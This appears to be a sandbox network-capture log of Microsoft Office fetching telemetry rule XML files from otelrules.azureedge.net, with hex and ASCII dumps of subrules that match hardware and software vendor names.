2024-12-06 23:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231531Z-1746fd949bdjrnwqhC1EWRpg2800000004x000000000g13x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231531Z-r1cf579d778t6txphC1EWRsd440000000140000000009d2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231531Z-r1cf579d778kr8xrhC1EWRfkun0000000170000000001x1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:33 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231533Z-r1cf579d778w59f9hC1EWRze6w00000000yg000000004qqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:33 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:33 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231533Z-1746fd949bd4w8sthC1EWR700400000004pg0000000074rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:33 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231533Z-r1cf579d778d5zkmhC1EWRk6h8000000017g000000001kfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:33 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:33 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231533Z-1746fd949bdkw94lhC1EWRxuz400000004yg00000000r3ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:33 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:33 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231534Z-r1cf579d778zvkpnhC1EWRv23g000000011g000000000yn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:35 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:35 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231535Z-1746fd949bdhk6hphC1EWRaw3c00000004gg00000000un8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:35 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231535Z-r1cf579d778qlpkrhC1EWRpfc800000001b0000000006t73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:35 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:35 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:35 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231535Z-1746fd949bdkw94lhC1EWRxuz400000004z000000000p10g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:35 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:35 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:35 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231535Z-r1cf579d7789trgthC1EWRkkfc00000001f0000000000vrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:35 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
